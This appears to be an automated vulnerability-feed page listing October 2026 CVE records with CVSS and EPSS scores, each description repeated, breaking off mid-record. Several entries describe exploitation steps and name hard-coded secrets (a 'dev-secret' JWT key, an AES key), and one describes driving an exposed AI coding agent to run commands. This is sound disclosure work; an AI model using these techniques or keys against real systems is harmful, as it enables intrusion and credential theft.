CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111692).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111692&date=2026-10-25).
Sources:
NVD CVE-2026-111692: https://nvd.nist.gov/vuln/detail/CVE-2026-111692
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111692&date=2026-10-25
DataBuff ai-apm-web through 0.1.10 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge admin session tokens by using the hardcoded HMAC secret in JwtTokenService. Attackers can sign a payload of admin and a future expiry with the default dev-secret to gain full administrative access to protected /webapi routes, including the Doris SQL query API.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WeRSS (we-mp-rss) through 1.5.3 contains a remote code execution vulnerability that allows unauthenticated attackers to run code via the template parameter of the public GET...
https://kevwire.com/record/CVE-2026-111687
WeRSS (we-mp-rss) through 1.5.3 contains a remote code execution vulnerability that allows unauthenticated attackers to run code via the template parameter of the public GET... (Oct 16, 2026).
WeRSS (we-mp-rss) through 1.5.3 contains a remote code execution vulnerability that allows unauthenticated attackers to run code via the template parameter of the public GET /rss/{feed_id} endpoint. Attackers can supply a non-built-in ext value and a {{=expression}} template whose object-subclass traversal bypasses the eval denylist to run OS commands as the service account.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111687).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111687&date=2026-10-25).
Sources:
NVD CVE-2026-111687: https://nvd.nist.gov/vuln/detail/CVE-2026-111687
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111687&date=2026-10-25
WeRSS (we-mp-rss) through 1.5.3 contains a remote code execution vulnerability that allows unauthenticated attackers to run code via the template parameter of the public GET /rss/{feed_id} endpoint. Attackers can supply a non-built-in ext value and a {{=expression}} template whose object-subclass traversal bypasses the eval denylist to run OS commands as the service account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EFAK 5.0.0 through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to read LLM provider API keys through the /api/model-config...
https://kevwire.com/record/CVE-2026-111682
EFAK 5.0.0 through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to read LLM provider API keys through the /api/model-config... (Oct 16, 2026).
EFAK 5.0.0 through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to read LLM provider API keys through the /api/model-config REST API. Attackers with any ROLE_USER account can query /api/model-config/page or /api/model-config/{id} to retrieve unmasked keys, enabling provider account access and incurred costs.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111682).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111682&date=2026-10-25).
Sources:
NVD CVE-2026-111682: https://nvd.nist.gov/vuln/detail/CVE-2026-111682
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111682&date=2026-10-25
EFAK 5.0.0 through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to read LLM provider API keys through the /api/model-config REST API. Attackers with any ROLE_USER account can query /api/model-config/page or /api/model-config/{id} to retrieve unmasked keys, enabling provider account access and incurred costs.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IceCMS through 4.1.5 contains a missing authentication vulnerability that allows unauthenticated attackers to modify, delete, or disable any account because /User/** is excluded...
https://kevwire.com/record/CVE-2026-111673
IceCMS through 4.1.5 contains a missing authentication vulnerability that allows unauthenticated attackers to modify, delete, or disable any account because /User/** is excluded... (Oct 16, 2026).
IceCMS through 4.1.5 contains a missing authentication vulnerability that allows unauthenticated attackers to modify, delete, or disable any account because /User/** is excluded from the Shiro jwt filter. Attackers can send PUT requests to /User/updateUser to set a new password and role on any userId, including administrators, enabling full account takeover.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111673).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111673&date=2026-10-25).
Sources:
NVD CVE-2026-111673: https://nvd.nist.gov/vuln/detail/CVE-2026-111673
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111673&date=2026-10-25
IceCMS through 4.1.5 contains a missing authentication vulnerability that allows unauthenticated attackers to modify, delete, or disable any account because /User/** is excluded from the Shiro jwt filter. Attackers can send PUT requests to /User/updateUser to set a new password and role on any userId, including administrators, enabling full account takeover.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FastapiAdmin through 3.0 contains a hard-coded JWT signing secret in backend/app/config/setting.py that allows low-privileged users to forge tokens impersonating the superuser.
https://kevwire.com/record/CVE-2026-111642
FastapiAdmin through 3.0 contains a hard-coded JWT signing secret in backend/app/config/setting.py that allows low-privileged users to forge tokens impersonating the superuser. (Oct 16, 2026).
FastapiAdmin through 3.0 contains a hard-coded JWT signing secret in backend/app/config/setting.py that allows low-privileged users to forge tokens impersonating the superuser. Attackers can register via the unauthenticated /api/v1/system/user/register endpoint, log in, and forge an HS256 token keeping their session_id but naming the superuser in user_name to gain superuser privileges.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111642).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111642&date=2026-10-25).
Sources:
NVD CVE-2026-111642: https://nvd.nist.gov/vuln/detail/CVE-2026-111642
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111642&date=2026-10-25
FastapiAdmin through 3.0 contains a hard-coded JWT signing secret in backend/app/config/setting.py that allows low-privileged users to forge tokens impersonating the superuser. Attackers can register via the unauthenticated /api/v1/system/user/register endpoint, log in, and forge an HS256 token keeping their session_id but naming the superuser in user_name to gain superuser privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HestiaCP before 1.10.5 contains an authorization bypass vulnerability that allows non-ROOT_USER administrators to perform write actions while impersonating the protected ROOT_USER...
https://kevwire.com/record/CVE-2026-111627
HestiaCP before 1.10.5 contains an authorization bypass vulnerability that allows non-ROOT_USER administrators to perform write actions while impersonating the protected ROOT_USER... (Oct 16, 2026).
HestiaCP before 1.10.5 contains an authorization bypass vulnerability that allows non-ROOT_USER administrators to perform write actions while impersonating the protected ROOT_USER account. Attackers can log in via the loginas parameter and POST to /add/cron/, because the read-only flag is never checked, causing crond to run their commands as the protected administrator's system account.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111627).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111627&date=2026-10-25).
Sources:
NVD CVE-2026-111627: https://nvd.nist.gov/vuln/detail/CVE-2026-111627
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111627&date=2026-10-25
HestiaCP before 1.10.5 contains an authorization bypass vulnerability that allows non-ROOT_USER administrators to perform write actions while impersonating the protected ROOT_USER account. Attackers can log in via the loginas parameter and POST to /add/cron/, because the read-only flag is never checked, causing crond to run their commands as the protected administrator's system account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### smart-sso through 2.1.1 contains an open redirect vulnerability in the /login handler that allows unauthenticated attackers to steal OAuth2 authorization codes by supplying an...
https://kevwire.com/record/CVE-2026-111622
smart-sso through 2.1.1 contains an open redirect vulnerability in the /login handler that allows unauthenticated attackers to steal OAuth2 authorization codes by supplying an... (Oct 16, 2026).
smart-sso through 2.1.1 contains an open redirect vulnerability in the /login handler that allows unauthenticated attackers to steal OAuth2 authorization codes by supplying an unvalidated redirectUri parameter. Attackers can send crafted /login links to users with active SSO sessions, then redeem stolen codes at /oauth2/access_token with any valid client credentials to obtain victims' access tokens.
CVSS 7.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111622).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111622&date=2026-10-25).
Sources:
NVD CVE-2026-111622: https://nvd.nist.gov/vuln/detail/CVE-2026-111622
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111622&date=2026-10-25
smart-sso through 2.1.1 contains an open redirect vulnerability in the /login handler that allows unauthenticated attackers to steal OAuth2 authorization codes by supplying an unvalidated redirectUri parameter. Attackers can send crafted /login links to users with active SSO sessions, then redeem stolen codes at /oauth2/access_token with any valid client credentials to obtain victims' access tokens.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### netdisk-fast-download through 0.4.8 contains an information disclosure vulnerability that allows unauthenticated attackers to retrieve donated netdisk credentials via the...
https://kevwire.com/record/CVE-2026-111612
netdisk-fast-download through 0.4.8 contains an information disclosure vulnerability that allows unauthenticated attackers to retrieve donated netdisk credentials via the... (Oct 16, 2026).
netdisk-fast-download through 0.4.8 contains an information disclosure vulnerability that allows unauthenticated attackers to retrieve donated netdisk credentials via the /v2/randomAuth endpoint in ParserApi. Attackers can repeatedly call the endpoint and decrypt the encryptedAuth blob using the hard-coded AES key nfd_auth_key2026 to recover other users' cloud-drive cookies, tokens, or passwords.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111612).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111612&date=2026-10-25).
Sources:
NVD CVE-2026-111612: https://nvd.nist.gov/vuln/detail/CVE-2026-111612
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111612&date=2026-10-25
netdisk-fast-download through 0.4.8 contains an information disclosure vulnerability that allows unauthenticated attackers to retrieve donated netdisk credentials via the /v2/randomAuth endpoint in ParserApi. Attackers can repeatedly call the endpoint and decrypt the encryptedAuth blob using the hard-coded AES key nfd_auth_key2026 to recover other users' cloud-drive cookies, tokens, or passwords.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Jeepay through 3.2.9 contains an insecure direct object reference vulnerability that allows authenticated merchant users to overwrite another merchant application's payment...
https://kevwire.com/record/CVE-2026-111607
Jeepay through 3.2.9 contains an insecure direct object reference vulnerability that allows authenticated merchant users to overwrite another merchant application's payment... (Oct 16, 2026).
Jeepay through 3.2.9 contains an insecure direct object reference vulnerability that allows authenticated merchant users to overwrite another merchant application's payment channel configuration by supplying a victim infoId to MchPayInterfaceConfigController.saveOrUpdate. Attackers holding the default ENT_MCH_PAY_CONFIG_ADD permission can replace signing keys, certificates, and fee rates to break or redirect the victim merchant's payment processing.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111607).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111607&date=2026-10-25).
Sources:
NVD CVE-2026-111607: https://nvd.nist.gov/vuln/detail/CVE-2026-111607
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111607&date=2026-10-25
Jeepay through 3.2.9 contains an insecure direct object reference vulnerability that allows authenticated merchant users to overwrite another merchant application's payment channel configuration by supplying a victim infoId to MchPayInterfaceConfigController.saveOrUpdate. Attackers holding the default ENT_MCH_PAY_CONFIG_ADD permission can replace signing keys, certificates, and fee rates to break or redirect the victim merchant's payment processing.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Archon 0.2.13 through 0.11.1 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* control API, which binds to 0.0.0.0 by...
https://kevwire.com/record/CVE-2026-111322
Archon 0.2.13 through 0.11.1 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* control API, which binds to 0.0.0.0 by... (Oct 15, 2026).
Archon 0.2.13 through 0.11.1 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* control API, which binds to 0.0.0.0 by default. Attackers with network access can send messages to the AI coding agent, which runs with bypassPermissions, to execute commands on the host as the Archon user.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111322).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111322&date=2026-10-25).
Sources:
NVD CVE-2026-111322: https://nvd.nist.gov/vuln/detail/CVE-2026-111322
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111322&date=2026-10-25
Archon 0.2.13 through 0.11.1 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* control API, which binds to 0.0.0.0 by default. Attackers with network access can send messages to the AI coding agent, which runs with bypassPermissions, to execute commands on the host as the Archon user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dragonfly through 2.0.2 contains an unbounded memory allocation vulnerability that allows unauthenticated clients to exhaust memory by passing a negative COUNT to HRANDFIELD,...
https://kevwire.com/record/CVE-2026-111279
Dragonfly through 2.0.2 contains an unbounded memory allocation vulnerability that allows unauthenticated clients to exhaust memory by passing a negative COUNT to HRANDFIELD,... (Oct 15, 2026).
Dragonfly through 2.0.2 contains an unbounded memory allocation vulnerability that allows unauthenticated clients to exhaust memory by passing a negative COUNT to HRANDFIELD, ZRANDMEMBER or SRANDMEMBER. Attackers can send a single command against a one-element key with a huge negative COUNT to trigger the OOM killer, terminating the instance for all clients.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111279).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111279&date=2026-10-25).
Sources:
NVD CVE-2026-111279: https://nvd.nist.gov/vuln/detail/CVE-2026-111279
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111279&date=2026-10-25
Dragonfly through 2.0.2 contains an unbounded memory allocation vulnerability that allows unauthenticated clients to exhaust memory by passing a negative COUNT to HRANDFIELD, ZRANDMEMBER or SRANDMEMBER. Attackers can send a single command against a one-element key with a huge negative COUNT to trigger the OOM killer, terminating the instance for all clients.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authorization bypass vulnerability exists in the REST API of multiple versions of OpenNMS Meridian and Horizon.
https://kevwire.com/record/CVE-2026-111235
An authorization bypass vulnerability exists in the REST API of multiple versions of OpenNMS Meridian and Horizon. (Oct 15, 2026).
An authorization bypass vulnerability exists in the REST API of multiple versions of OpenNMS Meridian and Horizon. The /rest/** Spring Security filter chains authorize requests with intercept-url rules that name the HTTP method as an uppercase token, compare the method case-sensitively, and have no terminal deny rule. A request that uses a non-canonical (for example lowercase) method token matches no rule and is processed without authentication. A remote, unauthenticated attacker can read the monitored inventory and can create, modify, or delete resources through the REST API, which includes injecting events to fabricate or suppress alarms. The /rest/alarms chain has the same missing deny rule and discloses whether an alarm exists through a difference in the response. The fix adds a terminal deny rule to each REST filter chain.



The solution is to upgrade to Meridian 2024.3.14, 2025.0.11, 2026.0.1 and Horizon 36.0.5 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization's private networks and should not be directly accessible from the Internet.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111235).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111235&date=2026-10-25).
Sources:
NVD CVE-2026-111235: https://nvd.nist.gov/vuln/detail/CVE-2026-111235
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111235&date=2026-10-25
An authorization bypass vulnerability exists in the REST API of multiple versions of OpenNMS Meridian and Horizon. The /rest/** Spring Security filter chains authorize requests with intercept-url rules that name the HTTP method as an uppercase token, compare the method case-sensitively, and have no terminal deny rule. A request that uses a non-canonical (for example lowercase) method token matches no rule and is processed without authentication. A remote, unauthenticated attacker can read the monitored inventory and can create, modify, or delete resources through the REST API, which includes injecting events to fabricate or suppress alarms. The /rest/alarms chain has the same missing deny rule and discloses whether an alarm exists through a difference in the response. The fix adds a terminal deny rule to each REST filter chain.



The solution is to upgrade to Meridian 2024.3.14, 2025.0.11, 2026.0.1 and Horizon 36.0.5 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization's private networks and should not be directly accessible from the Internet.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The EnergizeLab Eilik NestJS auth service accepts a user-controlled user ID in account update requests (mass assignment).
https://kevwire.com/record/CVE-2026-105040
The EnergizeLab Eilik NestJS auth service accepts a user-controlled user ID in account update requests (mass assignment). (Oct 15, 2026).
The EnergizeLab Eilik NestJS auth service accepts a user-controlled user ID in account update requests (mass assignment). A registered user can set another account's identifier and take over that account.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105040).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105040&date=2026-10-25).
Sources:
NVD CVE-2026-105040: https://nvd.nist.gov/vuln/detail/CVE-2026-105040
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105040&date=2026-10-25
The EnergizeLab Eilik NestJS auth service accepts a user-controlled user ID in account update requests (mass assignment). A registered user can set another account's identifier and take over that account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 do not check user roles on administrative APIs.
https://kevwire.com/record/CVE-2026-105039
EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 do not check user roles on administrative APIs. (Oct 15, 2026).
EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 do not check user roles on administrative APIs. Any authenticated low-privilege user can retrieve AI provider keys and change configuration and object-store contents.
CVSS 9.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105039).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105039&date=2026-10-25).
Sources:
NVD CVE-2026-105039: https://nvd.nist.gov/vuln/detail/CVE-2026-105039
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105039&date=2026-10-25
EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 do not check user roles on administrative APIs. Any authenticated low-privilege user can retrieve AI provider keys and change configuration and object-store contents.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The EnergizeLab Eilik and EilikO FastAPI AI inference and profiling services expose AI model administration functions without authentication.
https://kevwire.com/record/CVE-2026-105038
The EnergizeLab Eilik and EilikO FastAPI AI inference and profiling services expose AI model administration functions without authentication. (Oct 15, 2026).
The EnergizeLab Eilik and EilikO FastAPI AI inference and profiling services expose AI model administration functions without authentication. An unauthenticated remote attacker can change AI model configuration and switch the model in use at runtime.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105038).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105038&date=2026-10-25).
Sources:
NVD CVE-2026-105038: https://nvd.nist.gov/vuln/detail/CVE-2026-105038
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105038&date=2026-10-25
The EnergizeLab Eilik and EilikO FastAPI AI inference and profiling services expose AI model administration functions without authentication. An unauthenticated remote attacker can change AI model configuration and switch the model in use at runtime.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 allow any registered, low-privilege account to read arbitrary files from the server by supplying an...
https://kevwire.com/record/CVE-2026-105037
EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 allow any registered, low-privilege account to read arbitrary files from the server by supplying an... (Oct 15, 2026).
EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 allow any registered, low-privilege account to read arbitrary files from the server by supplying an attacker-controlled file path. This exposes middleware files and server secrets.
CVSS 9.9 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105037).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105037&date=2026-10-25).
Sources:
NVD CVE-2026-105037: https://nvd.nist.gov/vuln/detail/CVE-2026-105037
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105037&date=2026-10-25
EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 allow any registered, low-privilege account to read arbitrary files from the server by supplying an attacker-controlled file path. This exposes middleware files and server secrets.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EnergizeLab AI Station firmware, EilikO Linux robot firmware v2.1_20260617182218_release, and the EnergizeLab Windows desktop app 3.1.2 download firmware updates over plain HTTP...
https://kevwire.com/record/CVE-2026-105036
EnergizeLab AI Station firmware, EilikO Linux robot firmware v2.1_20260617182218_release, and the EnergizeLab Windows desktop app 3.1.2 download firmware updates over plain HTTP... (Oct 15, 2026).
EnergizeLab AI Station firmware, EilikO Linux robot firmware v2.1_20260617182218_release, and the EnergizeLab Windows desktop app 3.1.2 download firmware updates over plain HTTP and do not verify their integrity or authenticity. An attacker able to intercept or modify the traffic can substitute a malicious update.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105036).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105036&date=2026-10-25).
Sources:
NVD CVE-2026-105036: https://nvd.nist.gov/vuln/detail/CVE-2026-105036
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105036&date=2026-10-25
EnergizeLab AI Station firmware, EilikO Linux robot firmware v2.1_20260617182218_release, and the EnergizeLab Windows desktop app 3.1.2 download firmware updates over plain HTTP and do not verify their integrity or authenticity. An attacker able to intercept or modify the traffic can substitute a malicious update.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The EnergizeLab FirmwareUpdater (AArch64 ELF, distributed in the CDN bin.zip) uses a single hard-coded AES key shared by all installations.
https://kevwire.com/record/CVE-2026-105035
The EnergizeLab FirmwareUpdater (AArch64 ELF, distributed in the CDN bin.zip) uses a single hard-coded AES key shared by all installations. (Oct 15, 2026).
The EnergizeLab FirmwareUpdater (AArch64 ELF, distributed in the CDN bin.zip) uses a single hard-coded AES key shared by all installations. An attacker who recovers the key from the updater can decrypt and forge firmware packages for any device that trusts it.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105035).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105035&date=2026-10-25).
Sources:
NVD CVE-2026-105035: https://nvd.nist.gov/vuln/detail/CVE-2026-105035
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105035&date=2026-10-25
The EnergizeLab FirmwareUpdater (AArch64 ELF, distributed in the CDN bin.zip) uses a single hard-coded AES key shared by all installations. An attacker who recovers the key from the updater can decrypt and forge firmware packages for any device that trusts it.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The EnergizeLab Eilik NestJS auth service issues device tokens for arbitrary robot serial numbers without authentication.
https://kevwire.com/record/CVE-2026-105034
The EnergizeLab Eilik NestJS auth service issues device tokens for arbitrary robot serial numbers without authentication. (Oct 15, 2026).
